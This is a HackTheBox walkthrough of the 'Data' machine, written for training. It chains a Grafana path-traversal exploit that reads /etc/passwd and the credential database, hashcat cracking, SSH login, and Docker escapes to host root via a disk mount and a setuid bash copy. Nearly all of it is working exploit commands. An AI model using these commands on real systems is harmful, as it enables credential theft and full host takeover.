Data writeup & walkthrough
Data is an easy HackTheBox Linux machine exploiting a Grafana LFI vulnerability to leak credentials, then escaping a Docker container to gain root on the host.
These commands were used in this walkthrough: https://youtu.be/nwoxia9Gcuk (Grafana → Docker → Root)
Access Path
no access => boris => container root => host root
The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.
Initial Exploitation: Grafana LFI
Grafana (CVE-2021-43798) has a path-traversal in its plugin route. We read /etc/passwd to confirm it, then pull grafana.db, which stores the user password hashes.
# Read /etc/passwd via path traversal in Grafana
curl --path-as-is 'http://IP:3000/public/plugins/alertlist/../../../../../../../../etc/passwd'
# Dump the Grafana database (contains user hashes)
curl --path-as-is 'http://IP:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db' -o ./grafana.db
Extract & Crack Grafana Hashes
Grafana stores bcrypt hashes alongside a separate salt, so we convert them to hashcat format and crack them with mode 10900.
# Use this tool to extract and convert Grafana hashes:
# https://github.com/iamaldi/grafana2hashcat
python3 grafana2hashcat.py ./grafana.db -o ./hashcat_hashes.txt
# Crack the hashes using Hashcat (mode 10900 = bcrypt), hash,salt
hashcat -m 10900 hashcat_hashes.txt --wordlist /usr/share/wordlists/rockyou.txt
Access the Host via SSH
The cracked password is reused for SSH, landing a shell as boris.
ssh boris@<ip>
# Password: <from cracked hash>
Privilege Escalation via Docker
boris can run docker exec as root via sudo. We locate the running container, enter it as root, and escape to the host - either by mounting the host disk (/dev/sda1) inside the privileged container, or by abusing a host-mapped file to plant a setuid-root binary.
sudo -l
# => You can run: (root) NOPASSWD: /snap/bin/docker exec *
# ─── Find Container ID ─────────────────────────────────────────────────────
# Option 1: Try listing containers (if allowed)
docker ps
# Option 2: Check local Docker metadata
ls /var/snap/docker/common/var-lib-docker/containers/
# Option 3: Look for running containerd shims
ps aux | grep containerd-shim
# ─── Enter the Container as Root ───────────────────────────────────────────
sudo /snap/bin/docker exec -it -u root <container_id> /bin/bash
# ─── Method 1: Escape via /dev mount ───────────────────────────────────────
sudo docker exec -u root --privileged e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 mkdir /mnt/host
sudo docker exec -u root --privileged e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 mount /dev/sda1 /mnt/host
sudo docker exec -u root --privileged -it e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 /bin/bash
ls /mnt/host
# ─── Method 2: Overwrite Host File via Mapped Volume ───────────────────────
# Step 1 (host - unprivileged user):
cat /var/snap/docker/common/var-lib-docker/containers/<container_id>/hostname
# → confirm that it's writable and mapped to host (in our case, we had no access but that's okay)
# Step 2 (inside container - as root):
chmod 777 /etc/hostname
# Step 3 (back on host):
cat /bin/bash > /var/snap/docker/common/var-lib-docker/containers/<container_id>/hostname
# Step 4 (inside container):
chown root:root /etc/hostname
chmod 4755 /etc/hostname # make it setuid root
# Step 5 (host - unprivileged user):
/var/snap/docker/common/var-lib-docker/containers/<container_id>/hostname -p
# → You now can read root dir or add your pub ssh_key.